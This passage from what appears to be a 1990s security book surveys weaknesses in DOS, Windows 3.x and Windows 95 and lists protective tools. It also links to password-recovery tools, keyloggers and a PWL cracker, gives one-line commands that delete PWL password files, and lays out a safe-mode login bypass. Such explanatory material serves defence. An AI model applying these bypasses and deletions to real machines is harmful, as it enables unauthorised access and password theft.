\nthroughout the remainder of the book, for I discuss various holes in many chapters. \nIn closing, if you are new to security, the preceding pages may leave you with the sense \nthat a hole is evidence of vendor incompetence. Not so. Vendor-based holes may take a \nlong time to fix. If the vendor is large, this may expand into weeks or even months. \nDevelopment teams in the corporate world work much like any other body. There is a \nhierarchy to be traversed. A software programmer on a development team cannot just \nmake a material alteration to a program because he or she feels the need. There is a \nstandardized process; protocols must be followed. Perhaps even worse is when the flaw \nexists in some standard that is administrated by a committee or board. If so, it may be a \nlong, long time before the hole is fixed. \nFor the moment, holes are a fact of life. And there is no likelihood of that changing in the \nnear future. Therefore, all system and network administrators should study such holes \nwhenever they can. Consider it a responsibility that goes along with the job title because \neven if you don't study them, crackers will. \n" }, { "page_number": 299, "text": " \n \n16 \nMicrosoft \nMany people dislike Bill Gates (though, oddly enough, not Paul Allen) because of his \ntremendous success. This is an invalid reason. People who do not know his story do not \nrealize that Gates was a talented hacker in his youth. Since then, Gates has contributed \nmuch to the computing community; he just happens to have done so from behind a cash \nregister. This is no crime. \n \nNOTE: On the other hand, Gates's assertion in The Road Ahead that we should all \ndocument our lives strikes me as a bit Orwellian. In that book, Gates suggests that all \ngood computing citizens should store a complete record of their lives on computer (we \nshould record all movements, purchases, appointments, and so forth). This recorded \nmaterial, he writes, could serve as an alibi in the event such a citizen is accused of a \ncrime. But if this documented life becomes an accepted alibi, what happens to those who \ndo not maintain such records? In short, Gates is profoundly influencing the social \nconstruct of this nation. His work may well result in a two-class society. Gates is a \nbrilliant man who has contributed much. Nonetheless, whether he is a true friend to \nhumankind remains to be seen. \n \nWhen people in security speak of Gates's products, they sneer. It's a fact: Microsoft has \nnever been a particularly secure platform, but then, these products have historically not \nneeded to be secure. Nonetheless, times have changed; now there is a need. But if \nprogrammers at Microsoft take the next five years to hammer out some decent security \nschemes, they would be on par with the amount of time it took the UNIX community to \ndo the same. \nMicrosoft products should not be subjected to the same scrutiny as UNIX products \nbecause they are in a different class. Despite this fact, many security specialists ridicule \nMicrosoft products. They subject such products to rigorous tests, knowing that the \nproducts cannot pass. Then they parade the negative results across the Net, \"proving\" that \nMicrosoft's security is weak and lackluster. This is irresponsible and creates a good deal \nof public unrest. \nSecurity specialists should lament, not rejoice, when they find a hole in a Microsoft \nproduct. After all, such a hole simply represents one more hole in the Internet. Microsoft \nproducts should receive as much attention and respect as any other product. Moreover, \nsecurity folks should educate, not ridicule, the cult following of Microsoft because that is \nthe right thing to do. \n \nNOTE: Microsoft's Windows NT uses a very good security model and is considered at \nleast minimally safe. Nevertheless, although NT's security model is good, it does not \nmean that NT is secure in the same way that many versions of UNIX are secure. \nMany Microsoft advocates point out that the NSA has granted Windows \nNT a C2 security rating on the Evaluated Products List. This, they \n" }, { "page_number": 300, "text": " \n \ncontend, is evidence that NT is secure. Not true. First, C2 is the very \nlowest security rating on the EPL. Moreover, NT's C2 rating is valid only \non certain hardware (Compaq Proliant 2000 and 4000 Pentium and the \nDECpc AXP/150 Alpha). Furthermore, NT's C2 certification assumes that \na non-networked, standalone workstation is being used. Thus, the NSA \nhas effectively suggested that NT is minimally secure, as long as it runs on \ncertain hardware, has no network connectivity, and is installed only as \nproscribed by the evaluation process. True, it was a great step forward for \nMicrosoft's marketing department to obtain any rating on the EPL at all. \nBecause most users have no idea what the EPL is, the rating sounds very \nimpressive (\"The National Security Agency says it's secure!\"). In reality, \nhowever, the rating is not spectacular and is no guarantee of the security of \nNT. \n \nA Friendly Platform That's a Bit Too Friendly \nMicrosoft's security problems can be summed up in two words: user friendliness. No \nother platform (not even MacOS) has been designed so expressly for this purpose. Over \nthe years, the Microsoft team has invested enormous amounts of time and research to \ndeliver ease and enjoyment of use. For example, Microsoft even conducted research to \ndetermine from which direction light should fall on an icon. That is, it studied whether \nusers would respond more favorably to a shadow on the right or the left of a button or \nother object. All developers are expected to adhere to this design convention (the shadow \nis always on the right, the light source is on the left. \nThis ease of use comes with a cost. For example, consider the swapping scheme in \nMicrosoft Windows 3.11. Swap files and disk caches are devices that greatly enhance \noverall performance (they can compensate for sparse RAM resources). When a large \nswap is present, certain elements of a program need not be loaded into memory again. \nThis results in increased speed and functionality. Unfortunately, it also results in poor \nsecurity. \nAny type of swapped memory system is insecure because traces of data are left within \nthat swap file or swap area. (A good example is the use of encryption like PGP. When \ndone through the Windows environment, the passphrase is written into the swap file and \nis therefore retrievable.) \nThroughout this chapter, you will see how user friendliness has inhibited the \ndevelopment of a truly secure Microsoft operating system. (NT is excluded from this \nanalysis and will be discussed at the end of the chapter. NT has advanced security \nfeatures; these were responsible for Microsoft getting its first product onto the Evaluated \nProducts List.) \nIndeed, this is the greatest challenge facing Microsoft today. It must find a way to \nreconcile user friendliness with strong security. Until it does, Microsoft has no hope of \nseizing control of the Internet. \n" }, { "page_number": 301, "text": " \n \nDOS \nMicrosoft's Disk Operating System is indisputably the most popular personal computer \noperating system in history. It is lightweight, requires little memory to operate, and is \nlimited in commands. In fact, DOS 6.22 has approximately one eighth the number of \ncommands offered by full-fledged UNIX. \nYou may wonder why I would even bother to treat DOS security issues here. After all, \nthe number of DOS-based machines connected to the Internet is limited. On closer \nexamination, however, the relevance of DOS becomes more apparent. For example, it has \nbecome common for legacy Novell networks to be strung to the Internet. Many of these \nolder networks (running 3.x or earlier) also run DOS-based applications. Here are just a \nfew old favorites that you would be likely to find out there: \n• \nWordPerfect 5.x \n• \nWordStar \n• \nMTEZ \n• \nTelix \n• \nQmodem \n• \nCarbon Copy \nBecause such networks are sometimes connected to the Internet, DOS still remains in the \nrunning. Indeed, Novell is not the only host example, either. Many networks retain at \nleast one workstation that runs Windows for Workgroups on top of DOS. \nI will not exhaustively cover DOS, but there are a few issues I need to mention. As you \nmight expect, many of these issues relate to physical or local security of DOS machines. \nIf your network is devoid of any DOS machines, feel free to skip this portion of the \nchapter. \nBeginning at the Beginning: Hardware \nEarly IBM-compatible architecture was not designed for security. Indeed, there are \nrelatively few examples of such an architecture implementing reliable security even \ntoday. Thus, from the moment an individual stands before a machine running DOS, a \nsecurity problem exists; that problem is not attributable to Microsoft. \nThe next series of points are well known to users who are required to use IBM-\ncompatible computers in their occupation. Much of this is therefore old hat, but I will run \nthrough it nevertheless. The rush to the Internet has prompted many people who never \nbefore had computers to get them. This section may therefore be helpful to some. \nCMOS Password \nThe CMOS password option, which can be enabled on most machines (even ranging back \nto some 286 models), is completely insecure. \n" }, { "page_number": 302, "text": " \n \n \nNOTE: The CMOS password function on an IBM compatible is used to protect the \nworkstation from unauthorized users gaining control at the console. The CMOS password \noption (if set) results in a password prompt issued immediately at boot time. Indeed, \nwhen the CMOS password function is enabled, the boot is arrested until the user supplies \nthe correct password. \n \nFor a user who needs access to the machine (and who has never been granted such \naccess), the solution is to remove, short out, or otherwise disable the CMOS battery on \nthe main board (see Figure 16.1). \nFIGURE 16.1. \nPhysically disabling the CMOS password on an AT IBM compatible. \nYour network workstations can easily be compromised in this manner. However, this is \nmore likely done by someone who is attempting to steal the machine, as opposed to \ntrying to breach security. Internal employees would use a different method. Because your \nown employees have some level of access on the system, they can pose a serious security \nthreat. Even if they do not disassemble the machine, there are ways for internal, trusted \nfolks to bypass that CMOS password. And although this is a commonly known fact \namong hackers and crackers, the average LAN supervisor may not be so aware. \nI have seen offices, for example, where only the Novell administrator knew the CMOS \npasswords. The procedure was almost comical. The administrator came in early each \nmorning and enabled all the workstations. At the end of the day, those workstations were \nshut down and the CMOS password would be active. The administrator assumed \n(wrongly) that in this manner, the network was safe from internal theft or tampering. This \nassumption was based largely on the premise that no one in the office knew the CMOS \npasswords but the administrator. \nIn fact, there are a number of CMOS password catchers on the market. These utilities \ncapture a CMOS password either while the user is already logged in or during boot. Up to \nthis point, we have not yet booted the machine; we are simply looking to get inside. \nThese utilities and techniques will allow us to do so: \n• \nAmiecod--This small utility is very reliable. It will retrieve the password last used on a \nmotherboard sporting an American Megatrends BIOS. See the following: \nhttp://www.iaehv.nl/users/rvdpeet/unrelate/amidecod.zip \n• \nAmi.com--Identical in functionality to the Amiecod, this tool will retrieve an AMI CMOS \npassword. See the following: \nhttp://www.iaehv.nl/users/rvdpeet/unrelate/ami.zip \n• \nAw.com--This utility will retrieve (or recover) the password used on any board sporting an Award \nBIOS. See the following: \nhttp://www.iaehv.nl/users/rvdpeet/unrelate/aw.zip \nOnce inside, the cracker will typically want to gain further, or leveraged, access. To gain \nleveraged access, the cracker must obtain some information about the system. \nSpecifically, on DOS machines that also run Novell and Lantastic, the cracker will need \n" }, { "page_number": 303, "text": " \n \nlogin IDs and passwords. To do that with some measure of stealth, the cracker must \nemploy several tools, including a key-capture utility. \nKey-Capture Utilities \nKey-capture utilities are programs (usually very small) that capture any keystrokes that \noccur after a specified event. These keystrokes are recorded most commonly into a \nhidden file and a hidden directory. \nThe technique discussed in Figure 16.2 is quite effective. The Alt+255 character is an \nextended ASCII character and therefore is invisible at a prompt. In Windows, it appears \nas a small, accented squiggle and is usually missed unless you are looking for it. Kids use \nthis technique to hide games and racy photographs on their home and school machines. \nFIGURE 16.2. \nA directory gets hidden on the disk. \n \nTIP: Hidden files are generally created using the attrib command or by the key-\ncapture utility itself (in other words, the programmer has included this feature in the \nsoftware). \n \nA number of key-capture utilities (or keystroke recorders) are available for DOS, \nincluding the following. \nKeycopy \nKeycopy was reportedly released for the first time in 1990, but current distributions \nreport a date of 1993. The program was authored by Christopher E. BoVee. Keycopy is \ncapable of capturing 200 keystrokes at a time and not just from a prompt. It also captures \nkeystrokes executed in WordPerfect, MultiMate, and reportedly, Norton Editor. The \nprogram also sports a nice collection of command-line options that assist in setting the \ndirectory, the outfile, and other key elements. The author provides a series of keystrokes \ncommands that can be used to kill, pause, or otherwise alter the behavior of the program. \nUsing this program, crackers can capture login IDs, passwords, and other data. It is \nlocated here: \n• \nhttp://www.ais.org/~paxton/archive/keycopy.zip \nPlayback 1.9 \nThis product was released sometime in 1992. Its author apparently had no intention of it \nbeing used as a cracking utility. Rather, it was to be used for the automation of tedious \nand repetitive personal tasks. Playback records all the keystrokes of a task and later plays \nthem back. Some users may remember communication packages that performed the same \nfunction. One of them was Qmodem. It would record keystrokes of logins to BBS \nmachines or other remote servers. This became a script that could later be executed. \nCoupled with an old utility called tm that timed processes for execution, one could run \nentire download sessions automatically without ever being there. \n" }, { "page_number": 304, "text": " \n \nOne of the more extraordinary features of Playback is the way it handles the timing of \nkeystrokes. Everything is based on exactly the same tempo of the keystrokes recorded. \nSay, for example, that the session recorded a login procedure. Many login procedures \nrequire a waiting period between the moment the user enters his login ID and the point at \nwhich he enters his password (this waiting period sometimes relates to a buffer issue and \nsometimes simply involves a slow file server). In any event, Playback plays back the \nkeystrokes precisely as they are recorded. Therefore, it is a suitable tool for simulating a \nreal session with some remote or even local login program. Based on these amenities, \nPlayback became a favorite among crackers. It is located here: \n• \nhttp://www.plazma.net/users/weiner/PB19C.ZIP \nPhantom 2 \nPhantom 2 is a tool similar to Playback, but far more comprehensive. One major \ndistinction between the two is that Phantom will record your keystrokes no matter what \nprogram is running. Moreover, this program provides a control panel from which to \noperate. This panel allows the user to set a multitude of options. It can record keystrokes \nas well as sounds and tones. Few DOS-based keystroke recorders are as elaborate. Much \nlike Playback, Phantom plays back keystrokes precisely as they are recorded. It is located \nhere: \n• \nhttp://www.ilf.net/~toast/files/keycopy/phantom2.zip \nDosLog 2 \nDosLog 2 is a standard key-capture utility that captures all activity at the console. The \nauthor reportedly wrote it because his younger brother failed to heed warnings about \nusing certain programs. Using this utility is a good way to monitor your employees (or a \ngood way for them to monitor you!). It is located here: \n• \nftp://uiarchive.cso.uiuc.edu/pub/systems/pc/simtelnet/msdos/securi\nty/dos-log2.zip \nKeytrap \nKeytrap is an interesting utility that allows for user-specified time frames in regard to \nwhen it will do its work. (This is expressed in terms of minutes. Because you cannot \nexceed the number of minutes in a day, the outfile must be cleared and you must start \nagain at the beginning of each business day. If you fail to clear out the file, it will be \noverwritten with a new one.) Otherwise, Keytrap is a standard key-capture utility with a \nbit less functionality than its counterparts. It is located here: \n• \nhttp://www.ilf.net/~toast/files/keycopy/keytrap1.zip \nThe main drawback of key-capture utilities is that the outfiles, though hidden, must be \nremoved at some point. Some of the previously listed key-capture utilities will not write a \nfile larger than X number of bytes. Therefore, the cracker must retrieve his bounty and \nstart again. Nevertheless, these tools are standard in the average cracker's toolbox. They \n" }, { "page_number": 305, "text": " \n \nare old utilities, but exceedingly useful if one needs to crack a network that harbors at \nleast one DOS box. \nAt any rate, enough about techniques for cracking DOS. For a moment, I'd like to \nconcentrate on preventing crackers from cracking a DOS box. There are many tools on \nthe Internet designed expressly for this purpose and a majority are free for non-\ncommercial use. \nSecure 1.0 \nSecure 1.0 restricts directory access. That is, it prevents any unauthorized user from \naccessing a given directory. As the author is quick to point out in the documentation, \nhowever, Secure 1.0 does not obscure the directory's existence; it merely prevents \nunauthorized access to it. Unfortunately, the unregistered version only allows one \ndirectory to be so restricted, so users must choose that directory carefully. It is located \nhere: \n• \nhttp://underground.org/tools/dos/secure10.zip \nSecure File System \nThis tool is not your average cheesy security tool for DOS. This is an excellent DOS \nsecurity application suite. The utility applies high-level encryption to DOS volumes \n(reportedly, you can have as many as five encrypted disk volumes at one time). What is \nmost extraordinary about this utility is that it has enhanced stealth features that prevent \nmonitoring programs from collecting information about SFS's activity. \nClearly, the author of SFS wanted to make a serious contribution to DOS security. \nCompliance with the Federal Information Processing Standard (FIPS) and several other \nkey standards are built into the program. Its compatibility with a host of disk-caching and \nmemory-management programs makes the program all the more mind boggling. Finally, \nthe documentation on this utility is superb. See the following: \n• \nhttp://underground.org/tools/dos/sfs/sfs110.zip \nEncrypt-It \nEncrypt-It amounts to DES encryption for DOS. This utility applies high-level DES \nencryption to a single file or a series of them via batch processing. The program suite also \nfeatures a macro generator that accepts macros of lengths up to 1,000 keystrokes. The \nmain amenity of this program (besides the level of encryption it provides) is that it \nrequires very little memory to run. It also contains a benchmarking tool through which \nyou can determine how well a particular file is encrypted. See the following: \n• \nhttp://www.sevenlocks.com/software/sca/eid200.zip \nLCK2 \nLCK2 locks the terminal while you are away. When you leave your terminal, simply \nissue the program's name at a prompt to lock the terminal. It is impervious to a warm \n" }, { "page_number": 306, "text": " \n \nreboot or interrupt keystrokes (Ctrl+Alt+Delete, as well as Ctrl+Break). Reportedly, the \nonly way to defeat this program is to reset the entire machine. In network environments \nwhere users are strictly forbidden to restart machines, this might be useful. See the \nfollowing: \n• \nftp://ftp.lib.sonoma.edu/pub/simtelnet/msdos/security/lck100.zip \nGateway2 \nThis is a powerful program that password-protects a system. It supports password \nprotection for 30 people. Some serious amenities include \n• \nPrevents Ctrl+Alt+Delete reboots \n• \nPrevents F5 and F8 key routines from interrupting boot \n• \nNo local echo of passwords; instead, echo of garbage characters \n• \nUser-defined number of retries before lockout \nThis utility provides some excellent protection. The problem is it relies on you changing \nthe boot sequence in the CMOS. Thus, you disable the A: boot option (floppy seek on \nboot). A cracker can override this by attacking the CMOS settings. In all other respects, \nthough, this is a very useful utility. Gateway2 can be found here: \n• \nftp://ftp.lib.sonoma.edu/pub/simtelnet/msdos/security/gatewy12.zip \nPassword Protect (PASSW204) \nSimilar to Gateway2, PASSW204 relies on changing the boot sequence. This utility loads \nthe password routine in the config.sys file. This has some added functionality because \nit is ready for network support. One very interesting feature is that you can enable case \nsensitivity, which exponentially increases the strength of the passwords. See the \nfollowing: \n• \nftp://ftp.hkstar.com/pub/simtelnet/msdos/security/passw204.zip \nSentry \nYou have to see it to believe it. For a shareware product, Sentry is quite complete, \nallowing even the capability to secure individual files. It also has many features \ncommonly available in straight-on commercial products, including password aging and \nsome support for Windows. However, it, too, depends on you to change the boot \nsequence in the BIOS. See the following: \n• \nftp://ftp.digital.com/pub/micro/pc/simtelnet/msdos/security/sentry\n57.zip \nThere are literally hundreds of such programs available, so I will refrain from listing \nmore of them. Instead, I will send you to a series of sites at which some or all can be \nobtained. However, know this: MS-DOS was never meant to be a secure system. If any of \nthe workstations on your network are running pure DOS, you are vulnerable to an inside \n" }, { "page_number": 307, "text": " \n \nattack. From such a machine installed on a network, a cracker can easily grab your \npasswords. \nAlso be aware that many programming tools are available to circumvent your security. \nCertain distributions of C++, for example, contain programs that allow MS-DOS users to \nmonitor system processes. These tools will also monitor network activity. Such \nmonitoring tools are not restricted to programming applications, either. \nOne such application is Pcwatch. This program is designed expressly to examine the \nbehavior of EXE files as they execute. Using this program, a cracker can accurately \ndetermine the elements of a program and where its vulnerabilities might lie (for example, \nwhere disk access occurs within the program, where memory swaps are performed, and \nwithin what address registers these events occur). It is a common utility employed by \ncrackers when they need to crack a DOS file and is available here: \n• \nhttp://bauxite.apricot.co.uk/ftp/bbs/area8/pcwatch.zip \nFor specific network problems, refer to the chapter that addresses your operating system \n(Novell, UNIX, AS/400, and so forth). At this stage, I want to concentrate more on \nWindows-based security issues. Thus, here are some sites at which you can acquire \nsecurity tools for the DOS environment: \nThe Simtel DOS Security Index \nThe Simtel DOS Security Index page offers material about password protection, access \nrestriction, and boot protection. It is located here: \n• \nhttp://www.cpdee.ufmg.br/simtel/simtel_index_security.html \nThe CIAC DOS Security Tools Page \nThis page contains serious information about access restriction and includes one program \nthat protects specific cylinders on a disk. See the following: \n• \nhttp://ciac.llnl.gov/ciac/ToolsDOSSystem.html \nDOS Security Tools at Cypher.net \nThis page offers material about password protection, access restriction, and boot \nprotection. It is located here: \n• \nhttp://www.cypher.net/tools/dossecure.html \nThe Repository at Oakland.edu \nThis site contains information about password protection, access restriction, and boot \nprotection. It is located here: \n• \nhttp://oak.oakland.edu \nResources at Shareware.org \n" }, { "page_number": 308, "text": " \n \nThis page is the home of Integrity Master, an NCSA-certified security tool. It can be \nfound here: \n• \nhttp://www.shareware.org/seds.htm \nWindows and Windows for Workgroups \nBasic security within Windows and Windows for Workgroups is (and always has been) \nseriously lacking. Password protection relies on the PWL files that are generated when a \nuser creates his password. These files need not be decrypted or even attacked. They can \nsimply be deleted. That alone makes the PWL scheme ineffective. \n \nNOTE: In certain instances (when, for example, the cracker is seeking to gain access to a \nserver), deletion will not do the trick. However, deleting one password allows the cracker \nto at least reach the local workstation, at which point he can crack other passwords. \n \nBriefly, I want to address the encryption routine and general environment behind the \nPWL file. First, the process uses two different functions: one to encrypt and store the \npassword, another to retrieve it. Those are, respectively: \n• \nWNetCachePassword() \n• \nWNetGetCachedPassword() \nThe password remains cached. A programmer on your network can write a program that \nwill get the password of another user by using functions identical to \nWNetCachePassword() and WNetGetCachedPassword(). The only restriction is that the \ntargeted user must be logged in at the time the program is executed (so the password can \nbe trapped). The password can then be cached out to another area of memory. Having \naccomplished this, your programmer can bypass the password security scheme by using \nthat cached version of the password. \nLikewise, you may be able to force the cached password into the swap file. Reportedly, \nthis technique reveals the password. (Nonetheless, this is a cumbersome and wasteful \nmethod; there are other, easier ways to do it.) \n \nTIP: One method is where multiple passwords are added to the password database at \nhigh speed. You could technically use a utility similar to Claymore to do this. Using this \ntechnique, you fill the available space for passwords (255 of them, actually). This causes \nan overflow, and the routine then discards older passwords. \n \nBut again, unless the cracker is seeking access to a Windows NT server via a Windows \nfor Workgroups box, this is academic. In most cases, the password files can simply be \ndeleted. Because there is no default file access control (or restrictions) in Window for \nWorkgroups, the PWL files do not stand a chance. \n \nNOTE: This is vastly different from UNIX or even Windows NT in real NTFS mode, \nwhere certain files are protected from read, write, or execute calls from unauthorized \nusers. For example, in UNIX, the file /etc/passwd may indeed be readable (though, \n" }, { "page_number": 309, "text": " \n \nthe system administrator ought to be using shadowing). However, no one without root \nprivileges can access or write to that file. \n \nWindows for Workgroups, in its out-of-the-box state, provides no protection for those \nPWL files. Using a utility such as PAC.exe (or Ledbetter's find.exe), you can go to a \nprompt on a Windows for Workgroups workstation and disable all passwords on the \nnetwork with a single command line. The process would take no more than two to three \nseconds. The command would be \npac /I /s *.pwl /k \nor \nfind *.pwl -v \nHaving executed these commands, the network is yours for the asking. This problem has \nbeen carried into the Windows 95 distribution. As explained on the Tip of the Month \npage at Ronster's Compendium: \nDid You Forget Your Password? If you forget your Windows 95 password, just press Escape at \nthe Password Dialog Box, bring up the MS-DOS prompt and enter DIR *.PWL from your \nwindows folder (C:\\WINDOWS> prompt) to find your .PWL files. Delete the one with your logon \nID in front of it. Restart your system and enter a new password when prompted. \n \nCross Reference: Check out Ronster's Compendium's Tip of the Month page at \nhttp://199.44.114.223/rharri/tips.htm. \n \nThis problem was not heavily publicized because Windows security was not an issue \nrelevant to the Internet. However, almost immediately after Windows 95 (with rich, new \nInternet functionality) was released, the issue appeared in national magazines. In fact, \nmany news stories concentrated not only on Microsoft's failure to protect such files, but \nalso on the weak password scheme employed. As Eamonn Sullivan noted in his article \n\"Win 95 Password Caching Flawed\" (published in PC Week, December 8, 1995): \nThe password-caching scheme used in Windows 95 has a serious flaw that can make it easy for \nhackers to discover network and E-mail passwords...Source code illustrating the problem was \ndistributed on the Internet last week. PC Week Labs compiled the source code on a Sun \nMicrosystems Computer Co. SPARCStation and was able to decrypt several Windows 95 \npassword files. Decrypting the files and discovering the passwords took less than a second, \nalthough the source code inexplicably did not work on some password files. \nHowever, I need not cover this subject further, for there are utilities currently available \nthat will crack PWL files. Here is one: \nGlide \nGlide cracks PWL files. It comes with the CPP file for those interested in examining it. \nThe cracking party enters the filename (PWL) and the username associated with it. This \nutility is quite effective (it works at a command prompt in a shell window or at a DOS \nprompt). It can be found online here: \n• \nhttp://www.iaehv.nl/users/rvdpeet/unrelate/glide.zip \n" }, { "page_number": 310, "text": " \n \nWith respect to Internet security, Microsoft Windows and Windows 3.11 are not so \nrelevant. This is because the majority of implementations of the TCP/IP stack on these \ntwo systems do not include server software. Thus, someone connecting to the Net via \nTCPMAN, for example, is really nothing but a dead IP address from a cracker's point of \nview. There are no outbound services running and therefore there is nothing to connect \nto. That situation changes, however, if server software is loaded. Following is one utility \nthat can assist in strengthening that rather weak state of security. \nKDeskTop (Keep Out) \nKDeskTop protects your desktop in Windows. One interesting feature is that it disables \nyour ability to execute a warm reboot from the Windows environment. It provides \npassword protection for your Windows desktop (on boot into the Windows environment, \nthis program issues a login prompt). It can be found here: \n• \nhttp://www.anaplastic.com/kdesk.zip \nWindows 95 \nWindows 95 harbors many of the same security flaws that Windows and Windows for \nWorkgroups do. For example, even though Microsoft has provided a new system of \nmanaging the password process, the password problem is still an issue. Although \nMicrosoft hints that its new system will improve security, it does not. The password \nprotection scheme is no more robust than the one in Windows for Workgroups. \nReportedly, the way to password-protect a Windows 95 workstation is to set the \nproperties so that password caching is disabled and to enable user customization of \ndesktop preferences. The process takes no time at all: \n1. Open the Control Panel and choose the Network option. \n \n2. If the Primary Network Logon option is not already set to Windows Logon, you should set it to \nthis option (see Figure 16.3). \nFIGURE 16.3. \nSet Primary Network Logon to Windows Logon. \n3. Change the password and desktop settings. This is accomplished by opening the Control Panel \nand going to the Passwords Properties window (see Figure 16.4). \nFIGURE 16.4. \nBy default, Windows 95 sets the user profiles so that all users utilize the same preferences \nand desktop settings. This must be changed. \n4. At the Password tab window, change the settings so that you can specify your own desktop \npreferences (see Figure 16.5). \nFIGURE 16.5. \nSelect the option that allows users to specify their own preferences and desktop settings. \n5. Reboot the machine. You have just completed a process that many specialists suggest will \neffectively password-protect your machine. But will it? Hardly. \n" }, { "page_number": 311, "text": " \n \nIf a cracker were to breeze through your department and see such a machine so \nconfigured, it would take him less than two minutes to undermine this scheme. His steps \nwould be as follows: \n1. Turn the machine off. \n \n2. Turn it back on and allow it to go through the initial boot phase (that is, let the machine \ncontinue until it recognizes the drives and until the Windows 95 screen comes up). \n \n3. While the Windows 95 screen is still visible, the cracker executes a warm reboot procedure (this \nmust occur while Windows 95 is attempting to load the initial system and drivers). \n \n4. When the machine reboots, it will not load Windows 95. Instead, it will display a screen that \noffers to start the machine in several different modes, including safe mode and command-line \nmode. \n \n5. The cracker chooses safe mode and proceeds to the Registry editor (by executing regedit). \nOnce in the Registry editor, the cracker can do anything he likes (including disabling the options \nyou set in the procedure outlined previously). \n \nTIP: One excellent way to bypass the password security on networked boxes, \nparticularly security schemes set with the Policy editor, is to simply pull the plug (remove \nthe Ethernet card temporarily or unplug it from the machine). When Windows reboots, \nyou will encounter errors, and you may be forced to go into safe mode (much depends on \nwhether you are using third-party drivers on the box). In any event, in safe mode or \nnormal mode, you can proceed to kill all the password protection. \n \nMany Microsoft security models are fragile. Consider Microsoft Access, the standard \npackage for building business databases. Access uses a language called Access Basic. It \nis an extremely powerful package, often used to create multiuser databases. The newer \nversions of Access are incredibly fluid in the manipulation of data. \nAccess performs authentication based on an internal security identifier (SID). This SID is \nderived from running the username and the personal identifier (PID) through an \nalgorithm (these variables are used as the keys). The extraordinary thing is that if, in the \ncreation of a new account, a cracker issues the same username and PID as the target, the \nresulting SID will be identical. Why didn't techs at Microsoft base this process on using \nthe time and as a random number generator? This at least would create a digital value that \nwould be reasonably unusual. In any event, this is academic. All legacy databases created \nin Microsoft Access 1.0 are vulnerable to another attack that is so simple, I will not print \nit here. Many businesses rely on such legacy databases, and I do not see how revealing \nthat method will contribute to security. The problem has never been fixed by Microsoft \nand never will be. However, programmers are well aware of this flaw. \n \nNOTE: Hints about the flaw: The \"unique\" SID created at setup for the Admins is \nwritten to disk 1 of the distribution. Also, anyone with another version of SYSTEM.MDA \ncan access restricted files. Lastly, and perhaps most importantly, the SID of any user can \nbe read and manually altered, allowing any user to inherit the privileges of any user. Did \nyou create any databases while having Admin rights? If so, anyone can completely seize \ncontrol of your Access database. \n \n \n" }, { "page_number": 312, "text": " \n \nCross Reference: If you are interested in this flaw, check out \nftp://ftp.zcu.cz/mirrors/winsite/win3/misc/acc-sec.zip for \nmore information. \n \n \nNOTE: It is interesting to note that in the retail version of Windows 95, very few \ninstances of the word security occur in the help files. Indeed, these references refer to \nwhether the software on your machine is legal. Microsoft appears to have little interest in \nthe security of 95, except in terms of whether you have stolen it from them. This is in \ncomplete contrast to Windows NT. \n \nNo doubt about it. Out-of-the-box security for Windows 95 sucks. What can be done \nabout it? Well, many imaginative software authors have been put to the task. Some of \ntheir innovations are...well...interesting. \nCyberWatch \nCyberWatch is probably the most extreme solution I have encountered yet. This software \noperates in conjunction with video cameras attached to the machine. The software \nrecognizes only those faces that are registered in its face database. The machine actually \nlooks at you to determine whether you are an authorized user. The company claims that \nthe technology on which CyberWatch is based is neural net material. \nAlthough it is an interesting proposed solution to the problem, be assured that given 10 \nminutes alone with a machine so configured, the talented cracker could bypass the entire \nauthentication procedure. Thus, this technology is most useful in offices or other places \nwhere such access is unlikely to occur (or where individuals are forbidden to turn off or \nreboot machines). CyberWatch can be found here: \n• \nhttp://www.miros.com \nWP WinSafe \nWinSafe, a promising utility, allows control of individual drives on the machine (see \nFigure 16.6). This allows you to bar unauthorized users from, say, a CD-ROM drive. \nFIGURE 16.6. \nThe WinSafe drive protection properties settings. \nOf particular interest is that WinSafe protects network drives. Users can sample the \napplication by checking out the available shareware application. \n \nWARNING: The documentation suggests that using the Policy editor to set the REAL \nMode DOS settings could potentially conflict with WinSafe. \n \nWinSafe is available here: \n• \nhttp://kite.ois.com.au/~wp/wpws.htm \nSafe Guard \n" }, { "page_number": 313, "text": " \n \nThe Safe Guard line of products (including Safe Guard Easy, Safe Guard Pro, and \nPC/DACS for DOS/Windows) offers hard disk drive encryption, protection against \nbooting from a floppy, password aging, password authentication, and support for 15 users \nper machine. The encryption choices are suitable, including both DES and IDEA, as well \nas several others. Of special interest is that these products can be installed over a network \n(thereby obviating the need to make separate installations). See the following for more \ninformation: \n• \nhttp://www.mergent.com/utimacohome.nsf/lookup/dms \nSecure Shell \nSecure Shell (SSH) provides safe, encrypted communication over the Internet. SSH is an \nexcellent replacement for Telnet or rlogin. As of this writing, there is only a 16-bit \nversion for Windows, but it runs well on any TCP/IP implementation. SSH is no ordinary \nutility. It uses IDEA and RSA encryption and is therefore extremely secure. It is reported \nthat once an hour, the keys are discarded and new keys are made. SSH completely \neliminates the possibility of third parties capturing your communication (for example, \npasswords that might otherwise be passed in clear text). SSH sessions cannot be \novertaken or hijacked, nor can they be sniffed. The only real drawback is that for you to \nuse SSH, the other end must also be using it. While you might think such encrypted \ncommunication would be dreadfully slow, it isn't. Enter the following URL to visit one of \nthe main distribution sites for SSH: \n• \nhttp://www.datafellows.com/f-secure/ \nFormlogic Surveillance Agent \nThe Surveillance Agent is a simple but powerful tool for monitoring system processes. It \nhas two modes of operation. In one, evidence of your monitoring is revealed. In the other, \nthe surveillance occurs without a trace. The program is typically loaded into memory \n(this can be done in a variety of ways) and begins logging. Alternatively, you can specify \na trigger, or certain event that will cause the agent to begin the monitoring process (for \nexample, if someone tries to access your personal diary, this could trigger the agent to \nbegin monitoring). The authors of this software were very thorough. For example, you \ncan actually disguise the Agent's process as some other process (this is in case you have \nsavvy crackers hanging around the workplace). In all, this very comprehensive tool is \ntailor-made to catch someone in the act and is probably suitable for investigating \ncomputer-assisted crime in the workplace. For more information see \n• \nftp://ftp.rge.com/pub/systems/simtelnet/win3/security/spy1116.zip \nFortres 101 \nThis product is an excellent tool. As stated on the Fortres home page, the product can \nprevent: \nusers from interrupting boot process; exiting Windows; accessing a DOS prompt; adding, moving, \nor deleting icons; altering anything about the appearance of Windows; installing, copying or \ndownloading software; running any programs not specified by administrator; using low level \n" }, { "page_number": 314, "text": " \n \nsystem tools; changing printer configurations; changing screen saver configurations; erasing \nimportant system files; saving files on the hard disk; and even looking at files on the hard disk. \nThe utility is supported under both Windows 3.11 and Windows 95. The price is probably \na deterrent for casual users, but system administrators who have labs or offices with \nmultiple Windows-based machines would do well to grab this product. Find out more \nabout it here: \n• \nhttp://www.fortres.com/f101.htm \nHoles \nFollowing are some holes and viruses of note. Some relate specifically to Microsoft, \nwhile 